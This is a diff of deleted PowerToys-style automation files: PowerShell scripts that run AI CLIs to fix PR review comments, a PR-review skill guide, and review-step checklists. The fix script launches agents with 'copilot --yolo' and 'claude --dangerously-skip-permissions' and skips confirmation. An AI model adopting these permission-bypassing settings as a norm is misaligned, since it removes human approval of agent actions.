Info "Branch: $($prInfo.headRefName)"
Info "CLI: $CLIType"
# Find worktree
if (-not $WorktreePath) {
$WorktreePath = Find-WorktreeForPR -PRNumber $PRNumber
}
if (-not $WorktreePath -or -not (Test-Path $WorktreePath)) {
Warn "No worktree found for PR #$PRNumber"
Warn "Using main repo root. Make sure the PR branch is checked out."
$WorktreePath = $repoRoot
}
Info "Working directory: $WorktreePath"
# Check for active comments
$comments = Get-ActiveComments -PRNumber $PRNumber
$unresolvedCount = Get-UnresolvedThreadCount -PRNumber $PRNumber
Info ""
Info "Active review comments: $($comments.Count)"
Info "Unresolved threads: $unresolvedCount"
if ($comments.Count -eq 0 -and $unresolvedCount -eq 0) {
Success "No active comments or unresolved threads to fix!"
return @{ PRNumber = $PRNumber; Status = 'NothingToFix' }
}
if ($DryRun) {
Info ""
Warn "[DRY RUN] Would run AI CLI to fix comments"
Info "Comments to address:"
foreach ($c in $comments | Select-Object -First 5) {
Info " - $($c.path):$($c.line) - $($c.body.Substring(0, [Math]::Min(80, $c.body.Length)))..."
}
return @{ PRNumber = $PRNumber; Status = 'DryRun' }
}
# Confirm
if (-not $Force) {
$confirm = Read-Host "Fix $($comments.Count) comments on PR #$PRNumber? (y/N)"
if ($confirm -notmatch '^[yY]') {
Info "Cancelled."
return
}
}
# Build prompt
$prompt = @"
You are fixing review comments on PR #$PRNumber.
Read the active review comments using GitHub tools and address each one:
1. Fetch the PR review comments
2. For each comment, understand what change is requested
3. Make the code changes to address the feedback
4. Build and verify your changes work
Focus on the reviewer's feedback and make targeted fixes.
"@
# Ensure config dirs exist in worktree (agents, skills, instructions, prompts, top-level md)
# These aren't on the PR branch so the CLI can't find them without this.
if ($WorktreePath -ne $repoRoot) {
$sourceCfg = Join-Path $repoRoot $_cfgDir
$destCfg = Join-Path $WorktreePath $_cfgDir
if (Test-Path $sourceCfg) {
if (-not (Test-Path $destCfg)) {
New-Item -ItemType Directory -Path $destCfg -Force | Out-Null
}
foreach ($sub in @('agents', 'skills', 'instructions', 'prompts')) {
$src = Join-Path $sourceCfg $sub
$dst = Join-Path $destCfg $sub
if ((Test-Path $src) -and -not (Test-Path $dst)) {
Copy-Item -Path $src -Destination $dst -Recurse -Force
Info "Copied $_cfgDir/$sub to worktree"
}
}
foreach ($mdFile in @('copilot-instructions.md', 'CLAUDE.md')) {
$src = Join-Path $sourceCfg $mdFile
$dst = Join-Path $destCfg $mdFile
if ((Test-Path $src) -and -not (Test-Path $dst)) {
Copy-Item -Path $src -Destination $dst -Force
Info "Copied $_cfgDir/$mdFile to worktree"
}
}
}
}
# MCP config
$mcpConfig = "@$_cfgDir/skills/pr-fix/references/mcp-config.json"
Info ""
Info "Starting AI fix..."
Push-Location $WorktreePath
try {
switch ($CLIType) {
'copilot' {
$copilotArgs = @('--additional-mcp-config', $mcpConfig, '-p', $prompt, '--yolo', '--agent', 'FixPR')
if ($Model) {
$copilotArgs += @('--model', $Model)
}
$output = & copilot @copilotArgs 2>&1
# Log output
$logPath = Join-Path $repoRoot "Generated Files/prReview/$PRNumber"
if (-not (Test-Path $logPath)) {
New-Item -ItemType Directory -Path $logPath -Force | Out-Null
}
$output | Out-File -FilePath (Join-Path $logPath "_fix.log") -Force
}
'claude' {
$output = & claude --print --dangerously-skip-permissions --agent FixPR --prompt $prompt 2>&1
$logPath = Join-Path $repoRoot "Generated Files/prReview/$PRNumber"
if (-not (Test-Path $logPath)) {
New-Item -ItemType Directory -Path $logPath -Force | Out-Null
}
$output | Out-File -FilePath (Join-Path $logPath "_fix.log") -Force
}
}
}
finally {
Pop-Location
}
# Check results
$newUnresolvedCount = Get-UnresolvedThreadCount -PRNumber $PRNumber
Info ""
Info "Fix complete."
Info "Unresolved threads before: $unresolvedCount"
Info "Unresolved threads after: $newUnresolvedCount"
if ($newUnresolvedCount -gt 0) {
Warn ""
Warn "⚠️ $newUnresolvedCount threads still unresolved."
Warn "Use VS Code agent to resolve them via GraphQL:"
Warn " gh api graphql -f query='mutation { resolveReviewThread(input: {threadId: \"THREAD_ID\"}) { thread { isResolved } } }'"
}
else {
Success "✓ All threads resolved!"
}
# Write signal file
$signalDir = Join-Path $repoRoot "Generated Files/prFix/$PRNumber"
if (-not (Test-Path $signalDir)) { New-Item -ItemType Directory -Path $signalDir -Force | Out-Null }
@{
status = if ($newUnresolvedCount -eq 0) { "success" } else { "partial" }
prNumber = $PRNumber
timestamp = (Get-Date).ToString("o")
unresolvedBefore = $unresolvedCount
unresolvedAfter = $newUnresolvedCount
} | ConvertTo-Json | Set-Content "$signalDir/.signal" -Force
return @{
PRNumber = $PRNumber
Status = 'FixApplied'
UnresolvedBefore = $unresolvedCount
UnresolvedAfter = $newUnresolvedCount
}
}
catch {
Err "Error: $($_.Exception.Message)"
# Write failure signal
$signalDir = Join-Path $repoRoot "Generated Files/prFix/$PRNumber"
if (-not (Test-Path $signalDir)) { New-Item -ItemType Directory -Path $signalDir -Force | Out-Null }
@{
status = "failure"
prNumber = $PRNumber
timestamp = (Get-Date).ToString("o")
error = $_.Exception.Message
} | ConvertTo-Json | Set-Content "$signalDir/.signal" -Force
return @{
PRNumber = $PRNumber
Status = 'FixFailed'
Error = $_.Exception.Message
}
}
#endregion

View File

@@ -1,165 +0,0 @@
<#
.SYNOPSIS
Run pr-fix in parallel via the parallel-job-orchestrator skill.
.DESCRIPTION
Builds one job definition per PR and delegates to the shared
parallel-job-orchestrator. Each job invokes Start-PRFix.ps1 for a
single PR in its worktree.
DO NOT add [CmdletBinding()], [Parameter(Mandatory)], or [ValidateSet()]
here — those attributes make the script "advanced" which propagates
ErrorActionPreference and can crash the orchestrator's monitoring loop.
.PARAMETER PRNumbers
PR numbers to fix (required).
.PARAMETER MaxConcurrent
Maximum parallel fix jobs. Default: 3.
.PARAMETER CLIType
AI CLI type: copilot or claude. Default: copilot.
.PARAMETER Model
Copilot CLI model to use (e.g., gpt-5.2-codex).
.PARAMETER InactivityTimeoutSeconds
Kill job if log doesn't grow for this many seconds. Default: 120.
.PARAMETER MaxRetryCount
Retry attempts after inactivity kill. Default: 2.
.PARAMETER Force
Skip confirmation prompts in Start-PRFix.ps1.
.EXAMPLE
./Start-PRFixParallel.ps1 -PRNumbers 45286, 45287, 45288 -MaxConcurrent 4
#>
param(
[int[]]$PRNumbers,
[int]$MaxConcurrent = 3,
[string]$CLIType = 'copilot',
[string]$Model,
[int]$InactivityTimeoutSeconds = 120,
[int]$MaxRetryCount = 2,
[switch]$Force
)
$ErrorActionPreference = 'Stop'
# Manual validation
if (-not $PRNumbers -or $PRNumbers.Count -eq 0) {
Write-Error 'Start-PRFixParallel: -PRNumbers is required.'
return
}
if ($CLIType -notin 'copilot', 'claude') {
Write-Error "Start-PRFixParallel: Invalid -CLIType '$CLIType'. Must be 'copilot' or 'claude'."
return
}
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
$repoRoot = Resolve-Path (Join-Path $scriptDir '..\..\..\..')
$fixScript = Join-Path $scriptDir 'Start-PRFix.ps1'
$orchPath = Join-Path $scriptDir '..\..\parallel-job-orchestrator\scripts\Invoke-SimpleJobOrchestrator.ps1'
if (-not (Test-Path $fixScript)) {
Write-Error "Start-PRFix.ps1 not found: $fixScript"
return
}
if (-not (Test-Path $orchPath)) {
Write-Error "Orchestrator not found: $orchPath"
return
}
# Output root for logs
$outputRoot = Join-Path $repoRoot 'Generated Files' 'prFix'
if (-not (Test-Path $outputRoot)) {
New-Item -ItemType Directory -Path $outputRoot -Force | Out-Null
}
# Build job definitions
$jobDefs = @(foreach ($pr in $PRNumbers) {
# Resolve worktree for this PR
$branch = $null
try { $branch = (gh pr view $pr --json headRefName -q .headRefName 2>$null) } catch { }
$worktree = $null
if ($branch) {
$wtLine = git worktree list 2>$null | Select-String $branch | Select-Object -First 1
if ($wtLine) { $worktree = ($wtLine -split '\s+')[0] }
}
if (-not $worktree) {
Write-Host "[pr-$pr] No worktree found for branch '$branch' — using repo root" -ForegroundColor Yellow
$worktree = $repoRoot
}
$prOutputDir = Join-Path $outputRoot "$pr"
New-Item -ItemType Directory -Path $prOutputDir -Force | Out-Null
$logFile = Join-Path $prOutputDir "_fix.log"
# Build the command arguments for Start-PRFix.ps1
$fixArgs = @(
'-File', $fixScript,
'-PRNumber', $pr,
'-CLIType', $CLIType,
'-WorktreePath', $worktree,
'-Force'
)
if ($Model) { $fixArgs += @('-Model', $Model) }
@{
Label = "fix-pr-$pr"
ExecutionParameters = @{
JobName = "fix-pr-$pr"
Command = 'pwsh'
Arguments = $fixArgs
WorkingDir = [string]$worktree
OutputDir = $prOutputDir
LogPath = $logFile
}
MonitorFiles = @($logFile)
CleanupTask = $null
}
})
Write-Host "`nBuilt $($jobDefs.Count) fix job(s):" -ForegroundColor Cyan
$jobDefs | ForEach-Object { Write-Host " $($_.Label)" -ForegroundColor Gray }
# Run via orchestrator
$savedEAP = $ErrorActionPreference
$ErrorActionPreference = 'Continue'
$results = & $orchPath `
-JobDefinitions $jobDefs `
-MaxConcurrent $MaxConcurrent `
-InactivityTimeoutSeconds $InactivityTimeoutSeconds `
-MaxRetryCount $MaxRetryCount `
-PollIntervalSeconds 5 `
-LogDir $outputRoot
$ErrorActionPreference = $savedEAP
# Summary
$succeeded = @($results | Where-Object { $_.Status -eq 'Completed' })
$failed = @($results | Where-Object { $_.Status -ne 'Completed' })
Write-Host "`n$("=" * 60)" -ForegroundColor Cyan
Write-Host "PR FIX PARALLEL COMPLETE" -ForegroundColor Cyan
Write-Host ("=" * 60) -ForegroundColor Cyan
Write-Host "Total: $($results.Count)"
Write-Host "Succeeded: $($succeeded.Count)" -ForegroundColor Green
if ($failed.Count -gt 0) {
Write-Host "Failed: $($failed.Count)" -ForegroundColor Red
foreach ($r in $failed) { Write-Host " $($r.Label)$($r.Status)" -ForegroundColor Red }
}
$results | Format-Table Label, Status, JobState, ExitCode, RetryCount -AutoSize
return $results

View File

@@ -1,21 +0,0 @@
MIT License
Copyright (c) Microsoft Corporation.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -1,114 +0,0 @@
---
name: pr-review
description: Comprehensive pull request review with multi-step analysis and comment posting. Use when asked to review a PR, analyze pull request changes, check PR for issues, post review comments, validate PR quality, run code review on a PR, or audit pull request. Generates 13 review step files covering functionality, security, performance, accessibility, and more. For FIXING PR comments, use the pr-fix skill instead.
license: Complete terms in LICENSE.txt
---
# PR Review Skill
**Review** PRs only. To **fix** review comments, use `pr-fix`.
## What to Do
Run the review script with the PR number(s):
```powershell
.github/skills/pr-review/scripts/Start-PRReviewWorkflow.ps1 -PRNumbers <N>
```
The script spawns Copilot CLI, which follows [review-pr.prompt.md](./references/review-pr.prompt.md) to execute 13 review steps and write results to `Generated Files/prReview/<N>/`.
### Options
| Parameter | Description | Default |
|-----------|-------------|---------|
| `-PRNumbers` | PR number(s) **(required)** | — |
| `-CLIType` | `copilot` or `claude` | `copilot` |
| `-Model` | Model override | (default) |
| `-MinSeverity` | Min severity to post: `high` / `medium` / `low` / `info` | `medium` |
| `-MaxConcurrent` | Max parallel review jobs (via orchestrator) | `4` |
| `-InactivityTimeoutSeconds` | Kill CLI if log doesn't grow | `60` |
| `-MaxRetryCount` | Retry attempts after inactivity kill | `3` |
| `-OutputRoot` | Review output root folder | `Generated Files/prReview` |
| `-LogPath` | Workflow log file path | `Start-PRReviewWorkflow.log` |
| `-Force` | Re-review PRs that already have output | `false` |
| `-DryRun` | Preview without executing | `false` |
Completed reviews are auto-skipped. Use `-Force` to redo.
### If You ARE the Reviewer
When running inside Copilot CLI (i.e. you were spawned by the script), follow [review-pr.prompt.md](./references/review-pr.prompt.md) directly. It tells you:
1. Fetch PR data with `gh`
2. Execute each step by loading its prompt file on-demand
3. Write each step's output to `Generated Files/prReview/<N>/XX-name.md`
4. Update `.signal` after every step
5. Generate `00-OVERVIEW.md` after all steps
Each step prompt also has `## External references (MUST research)` — fetch those URLs and include a `## References consulted` section citing specific violation IDs (WCAG 1.4.3, OWASP A03, etc.).
### Step Prompts (loaded on-demand)
| Step | Prompt | Focus |
|------|--------|-------|
| 01 | [Functionality](./references/01-functionality.prompt.md) | Correctness, edge cases |
| 02 | [Compatibility](./references/02-compatibility.prompt.md) | Breaking changes, versioning |
| 03 | [Performance](./references/03-performance.prompt.md) | Perf implications, async |
| 04 | [Accessibility](./references/04-accessibility.prompt.md) | WCAG 2.1, a11y |
| 05 | [Security](./references/05-security.prompt.md) | OWASP, CWE, SDL |
| 06 | [Localization](./references/06-localization.prompt.md) | L10n readiness |
| 07 | [Globalization](./references/07-globalization.prompt.md) | BiDi, ICU, date/time |
| 08 | [Extensibility](./references/08-extensibility.prompt.md) | Plugin API, SemVer |
| 09 | [SOLID Design](./references/09-solid-design.prompt.md) | Design principles |
| 10 | [Repo Patterns](./references/10-repo-patterns.prompt.md) | PowerToys conventions |
| 11 | [Docs & Automation](./references/11-docs-automation.prompt.md) | Documentation |
| 12 | [Code Comments](./references/12-code-comments.prompt.md) | Comment quality |
| 13 | [Copilot Guidance](./references/13-copilot-guidance.prompt.md) | Agent/prompt files |
## Scripts
| Script | Purpose |
|--------|---------|
| [Start-PRReviewWorkflow.ps1](./scripts/Start-PRReviewWorkflow.ps1) | Orchestrator — run this |
| [Post-ReviewComments.ps1](./scripts/Post-ReviewComments.ps1) | Post comments to GitHub |
| [Get-GitHubPrFilePatch.ps1](./scripts/Get-GitHubPrFilePatch.ps1) | Fetch PR file diffs |
| [Get-GitHubRawFile.ps1](./scripts/Get-GitHubRawFile.ps1) | Download repo files at a ref |
| [Get-PrIncrementalChanges.ps1](./scripts/Get-PrIncrementalChanges.ps1) | Detect changes since last review |
| [Test-IncrementalReview.ps1](./scripts/Test-IncrementalReview.ps1) | Preview incremental detection |
## Execution & Monitoring Rules
Batch reviews take **530 minutes** depending on PR count and complexity. The agent MUST:
1. **Launch as a detached process** for batch runs (>2 PRs) — VS Code terminal idle detection kills background processes. Use `Start-Process -WindowStyle Hidden` with `Tee-Object` to a log file.
2. **Poll the orchestrator log every 60120 seconds** until all jobs report `Completed`, `Failed`, or `Abandoned`.
3. **Do NOT exit or ask the user to check back** — keep monitoring until the orchestrator finishes.
4. **On process death**, check the orchestrator log, clean up partial output, and relaunch automatically.
5. **Report final results** with a table showing per-PR status, exit codes, and retry counts.
## Post-Execution Review
After each run, quickly validate quality and update guidance when needed:
1. Confirm outputs exist under the configured `-OutputRoot` for each PR.
2. Spot-check `00-OVERVIEW.md` and 2-3 step files for correctness and completeness.
3. If repeated gaps are found, refine the relevant prompt in [references](./references).
4. If behavior changed, update this files Options/Workflow docs in the same change.
5. Record concrete examples of failures to prevent repeating ambiguous guidance.
## Dependencies
This skill depends on the **parallel-job-orchestrator** skill for batch execution.
The runner script (`Invoke-PRReviewSimpleRunner.ps1`) builds job definitions and
delegates to `parallel-job-orchestrator/scripts/Invoke-SimpleJobOrchestrator.ps1`
for queuing, monitoring, retry, and cleanup. Do NOT use `Start-Job`,
`ForEach-Object -Parallel`, or `Start-Process` directly.
## Related Skills
| Skill | Purpose |
|-------|---------|
| `parallel-job-orchestrator` | Parallel execution engine (REQUIRED for batch runs) |
| `pr-fix` | Fix review comments after this skill identifies issues |
| `issue-to-pr-cycle` | Full orchestration (review → fix loop) |

View File

@@ -1,78 +0,0 @@
# Step 01: Functionality Review
**Goal**: Verify the PR's code changes correctly implement the intended functionality without introducing regressions.
## Output file
`Generated Files/prReview/{{pr_number}}/01-functionality.md`
## Checks to execute
### Core functionality
- [ ] Does the code do what the PR description/linked issue claims?
- [ ] Are all acceptance criteria from the linked issue addressed?
- [ ] Do new features work correctly in both enabled and disabled states?
- [ ] Are feature flags/settings properly respected?
### Logic correctness
- [ ] Are conditional branches handling all expected cases?
- [ ] Are loops terminating correctly (no infinite loops, off-by-one errors)?
- [ ] Are null/empty checks in place where needed?
- [ ] Are error conditions handled gracefully?
- [ ] Are edge cases considered (empty input, max values, boundary conditions)?
### State management
- [ ] Is state properly initialized before use?
- [ ] Is state cleaned up appropriately (disposal, event unsubscribe)?
- [ ] Are race conditions possible with shared state?
- [ ] Is state persisted/loaded correctly for settings?
### Integration points
- [ ] Do changes integrate correctly with existing code paths?
- [ ] Are dependencies properly injected/resolved?
- [ ] Do IPC/inter-process communications work correctly?
- [ ] Are module enable/disable transitions handled?
### PowerToys-specific checks
- [ ] Does the module interface contract remain intact?
- [ ] Are hotkey registration and unregistration balanced?
- [ ] Does the feature work correctly with Runner lifecycle?
- [ ] Are Settings UI changes reflected in the module behavior?
## File template
```md
# Functionality Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific checks performed>
## Findings
(If none, write **None**. Otherwise use mcp-review-comment blocks:)
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["functionality","pr-{{pr_number}}"],"body":"Problem → Why it matters → Concrete fix."}
```
```
## Severity guidelines
- **High**: Code doesn't work as intended, crashes, data loss possible
- **Medium**: Partial functionality, edge cases broken, degraded experience
- **Low**: Minor issues, cosmetic problems, suboptimal but working
- **Info**: Suggestions for improvement, not blocking
## External references (MUST research)
Before completing this step, fetch and check the PR against these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| C# Design Guidelines | https://docs.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions | Coding conventions violations |
| .NET API Design | https://docs.microsoft.com/en-us/dotnet/standard/design-guidelines/ | API design issues |
| PowerToys Module Interface | `doc/devdocs/modules/interface.md` | Module contract violations |
**Enforcement**: In the output file, include a `## References consulted` section listing which guidelines were checked and any violations found.

View File

@@ -1,89 +0,0 @@
# Step 02: Compatibility Review
**Goal**: Ensure changes maintain compatibility with supported Windows versions, architectures, and don't introduce breaking changes.
## Output file
`Generated Files/prReview/{{pr_number}}/02-compatibility.md`
## Checks to execute
### Windows version compatibility
- [ ] Are Win32 APIs available on all supported Windows versions (10 1803+)?
- [ ] Are any APIs marked as Windows 11 only used conditionally?
- [ ] Are version checks in place for newer APIs?
- [ ] Are manifest compatibility settings correct?
### Architecture compatibility
- [ ] Does code work on both x64 and ARM64?
- [ ] Are pointer sizes handled correctly (IntPtr vs int)?
- [ ] Are P/Invoke signatures correct for both architectures?
- [ ] Are any architecture-specific paths handled?
### .NET compatibility
- [ ] Are target frameworks consistent across projects?
- [ ] Are nullable reference types handled correctly?
- [ ] Are any APIs deprecated in target .NET version?
- [ ] Do AOT-compiled components avoid reflection issues?
### Breaking changes
- [ ] Are settings schema changes backward compatible?
- [ ] Are IPC message formats versioned/compatible?
- [ ] Are file format changes backward compatible?
- [ ] Are public API signatures preserved?
- [ ] Are GPO policy keys unchanged or properly migrated?
### Dependency compatibility
- [ ] Are NuGet package versions compatible?
- [ ] Are native DLL dependencies available on all targets?
- [ ] Are any dependencies deprecated or end-of-life?
- [ ] Do WinUI/WPF versions match project requirements?
### Interoperability
- [ ] Are COM interfaces properly defined?
- [ ] Are shell extensions compatible with Explorer versions?
- [ ] Are context menu handlers working on Win10 and Win11?
- [ ] Are clipboard/drag-drop formats standard?
## PowerToys-specific checks
- [ ] Is the module interface version compatible?
- [ ] Do settings migrations handle all previous versions?
- [ ] Are hotkey codes platform-independent?
- [ ] Does the installer handle upgrades correctly?
## File template
```md
# Compatibility Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["compatibility","pr-{{pr_number}}"],"body":"Problem → Why it matters → Concrete fix."}
```
```
## Severity guidelines
- **High**: Breaks on supported Windows version, crashes on ARM64, data migration failure
- **Medium**: Degraded functionality on some platforms, deprecated API usage
- **Low**: Minor compatibility warnings, future deprecation concerns
- **Info**: Suggestions for broader compatibility
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| Windows Version Info | https://docs.microsoft.com/en-us/windows/release-health/supported-versions-windows-client | Supported version requirements |
| .NET Breaking Changes | https://docs.microsoft.com/en-us/dotnet/core/compatibility/ | Breaking change patterns |
| Win32 API Availability | https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list | API version requirements |
| WinAppSDK Release Notes | https://docs.microsoft.com/en-us/windows/apps/windows-app-sdk/stable-channel | SDK compatibility notes |
**Enforcement**: Include `## References consulted` section listing checked guidelines and violations found.

View File

@@ -1,93 +0,0 @@
# Step 03: Performance Review
**Goal**: Identify performance regressions, inefficiencies, and resource management issues.
## Output file
`Generated Files/prReview/{{pr_number}}/03-performance.md`
## Checks to execute
### CPU efficiency
- [ ] Are there unnecessary loops or repeated calculations?
- [ ] Are LINQ queries efficient (avoiding multiple enumerations)?
- [ ] Are regular expressions compiled if used frequently?
- [ ] Are string operations using StringBuilder for concatenation?
- [ ] Are hot paths optimized (avoid logging, allocations)?
### Memory management
- [ ] Are IDisposable objects properly disposed?
- [ ] Are event handlers unsubscribed to prevent leaks?
- [ ] Are large objects pooled or reused where appropriate?
- [ ] Are caches bounded to prevent unbounded growth?
- [ ] Are WeakReferences used for optional caches?
### Async/threading
- [ ] Are async methods truly asynchronous (not blocking)?
- [ ] Is ConfigureAwait(false) used in library code?
- [ ] Are locks held for minimal duration?
- [ ] Are thread-safe collections used for shared data?
- [ ] Are cancellation tokens propagated correctly?
### I/O efficiency
- [ ] Are file operations buffered appropriately?
- [ ] Are network calls batched where possible?
- [ ] Is file watching efficient (not polling)?
- [ ] Are settings read/written efficiently (not on every keystroke)?
### UI responsiveness
- [ ] Are long operations off the UI thread?
- [ ] Is virtualization used for large lists?
- [ ] Are images loaded asynchronously?
- [ ] Are animations smooth (60fps target)?
- [ ] Is UI updated efficiently (batch updates, not per-item)?
### Startup performance
- [ ] Are modules lazy-loaded where possible?
- [ ] Is initialization parallelized where safe?
- [ ] Are expensive operations deferred until needed?
- [ ] Is the critical path to first interaction minimized?
## PowerToys-specific checks
- [ ] Does the module minimize CPU when idle (no busy loops)?
- [ ] Are global hooks efficient (minimal processing in callback)?
- [ ] Are IPC messages batched/throttled appropriately?
- [ ] Does the module release resources when disabled?
- [ ] Are thumbnail/preview generations cached?
## File template
```md
# Performance Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/file.cs","start_line":123,"end_line":125,"severity":"high|medium|low|info","tags":["performance","pr-{{pr_number}}"],"body":"Problem → Impact estimate → Concrete fix."}
```
```
## Severity guidelines
- **High**: Significant CPU/memory regression, UI freezes, memory leaks
- **Medium**: Noticeable slowdown, inefficient algorithm, unbounded growth
- **Low**: Minor inefficiency, premature optimization opportunity
- **Info**: Performance improvement suggestions
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| .NET Performance Tips | https://docs.microsoft.com/en-us/dotnet/framework/performance/performance-tips | Anti-pattern violations |
| Async Best Practices | https://docs.microsoft.com/en-us/archive/msdn-magazine/2013/march/async-await-best-practices-in-asynchronous-programming | Async/await issues |
| Memory Management | https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals | GC pressure patterns |
| WPF Performance | https://docs.microsoft.com/en-us/dotnet/desktop/wpf/advanced/optimizing-performance | UI virtualization, binding |
**Enforcement**: Include `## References consulted` section listing checked guidelines and violations found.

View File

@@ -1,97 +0,0 @@
# Step 04: Accessibility Review
**Goal**: Ensure UI changes are accessible to users with disabilities, following WCAG guidelines and Windows accessibility standards.
## Output file
`Generated Files/prReview/{{pr_number}}/04-accessibility.md`
## Checks to execute
### Screen reader support
- [ ] Do all interactive elements have accessible names (AutomationProperties.Name)?
- [ ] Are images with meaning given alt text (AutomationProperties.Name)?
- [ ] Are decorative images marked as such (AutomationProperties.AccessibilityView="Raw")?
- [ ] Is live region support used for dynamic content updates?
- [ ] Are landmarks/headings used for navigation structure?
### Keyboard navigation
- [ ] Can all functionality be accessed via keyboard alone?
- [ ] Is tab order logical and complete?
- [ ] Are custom controls keyboard accessible?
- [ ] Are keyboard shortcuts documented and non-conflicting?
- [ ] Is focus visible and properly managed?
- [ ] Are focus traps avoided (dialogs excepted)?
### Color and contrast
- [ ] Does text meet minimum contrast ratios (4.5:1 for normal, 3:1 for large)?
- [ ] Is color not the only means of conveying information?
- [ ] Are error states indicated by more than just color?
- [ ] Does the UI work in high contrast mode?
- [ ] Are focus indicators visible in all themes?
### Visual design
- [ ] Can text be resized up to 200% without loss of functionality?
- [ ] Are touch targets at least 44x44 pixels?
- [ ] Is spacing sufficient between interactive elements?
- [ ] Are animations respectful of prefers-reduced-motion?
- [ ] Is content readable without requiring horizontal scrolling?
### Forms and input
- [ ] Are form fields properly labeled?
- [ ] Are error messages associated with their fields?
- [ ] Are required fields indicated accessibly?
- [ ] Is autocomplete supported where appropriate?
- [ ] Are input instructions provided before fields?
### Windows-specific
- [ ] Are UIA (UI Automation) patterns correctly implemented?
- [ ] Does the control work with Narrator?
- [ ] Are tooltips accessible (keyboard-activated)?
- [ ] Is the control visible in Accessibility Insights?
## PowerToys-specific checks
- [ ] Are Settings UI pages fully keyboard navigable?
- [ ] Do overlay UIs (FancyZones editor, ColorPicker) support keyboard?
- [ ] Are hotkey-activated features announced to screen readers?
- [ ] Do preview handlers provide accessible content?
- [ ] Are notification messages accessible?
## File template
```md
# Accessibility Review
**PR:** {{pr_number}} — Base:{{baseRefName}} Head:{{headRefName}}
**Review iteration:** {{iteration}}
## Iteration history
### Iteration {{iteration}}
- <Key finding 1>
- <Key finding 2>
## Checks executed
- <List specific checks performed>
## Findings
```mcp-review-comment
{"file":"path/to/file.xaml","start_line":45,"end_line":50,"severity":"high|medium|low|info","tags":["accessibility","pr-{{pr_number}}"],"body":"Problem → WCAG criterion affected → Concrete fix."}
```
```
## Severity guidelines
- **High**: Completely inaccessible feature, keyboard trap, missing screen reader support
- **Medium**: Partial accessibility, poor contrast, missing labels
- **Low**: Minor accessibility improvements, enhancement opportunities
- **Info**: Best practice suggestions, proactive improvements
## External references (MUST research)
Before completing this step, **fetch and analyze** these authoritative sources:
| Reference | URL | Check for |
| --- | --- | --- |
| WCAG 2.1 Quick Ref | https://www.w3.org/WAI/WCAG21/quickref/ | WCAG Level A/AA violations |
| Windows Accessibility | https://docs.microsoft.com/en-us/windows/apps/design/accessibility/accessibility | Windows-specific patterns |
| UIA Patterns | https://docs.microsoft.com/en-us/windows/win32/winauto/uiauto-controlpatternsoverview | Automation support |
| Contrast Checker | https://webaim.org/resources/contrastchecker/ | Color contrast ratios |
**Enforcement**: Include `## References consulted` section with:
- WCAG success criteria checked (e.g., 1.4.3 Contrast)
- Any violations with specific guideline IDs

View File

@@ -1,107 +0,0 @@
# Step 05: Security Review
**Goal**: Identify security vulnerabilities, unsafe practices, and potential attack vectors in the code changes.
## Output file
`Generated Files/prReview/{{pr_number}}/05-security.md`
## Checks to execute
### Input validation
- [ ] Is all user input validated before use?
- [ ] Are file paths validated and canonicalized?
- [ ] Are command-line arguments sanitized?
- [ ] Are URLs validated before navigation?
- [ ] Are numeric inputs bounds-checked?
- [ ] Is input length limited to prevent DoS?
### Injection vulnerabilities
- [ ] Is SQL/command injection prevented (parameterized queries)?
- [ ] Are shell commands avoided or properly escaped?
- [ ] Is path traversal prevented (no `..` in paths)?
- [ ] Are XAML/JSON inputs validated against injection?
- [ ] Are registry operations using safe APIs?
### Authentication & authorization
- [ ] Are admin operations protected appropriately?
- [ ] Is elevation (UAC) used only when necessary?
- [ ] Are privileged operations minimized in scope?
- [ ] Are credentials never logged or exposed?
- [ ] Are tokens/secrets stored securely?
### Data protection
- [ ] Is sensitive data encrypted at rest?
- [ ] Are secure channels used for network communication?
- [ ] Is PII handled according to privacy guidelines?
- [ ] Are temporary files created securely?
- [ ] Is data sanitized before logging?
### Memory safety
- [ ] Are buffer overflows prevented in native code?
- [ ] Are unsafe blocks minimized and reviewed?
- [ ] Are P/Invoke signatures correct (buffer sizes)?
- [ ] Is memory zeroed before freeing (for secrets)?
- [ ] Are format strings validated?
### Process security
- [ ] Are child processes started with minimal privileges?
- [ ] Are DLL search paths secured?
- [ ] Is code signing validated for loaded modules?
- [ ] Are named pipes/shared memory secured with ACLs?
- [ ] Are race conditions (TOCTOU) prevented?
### Cryptography
- [ ] Are modern algorithms used (no MD5/SHA1 for security)?
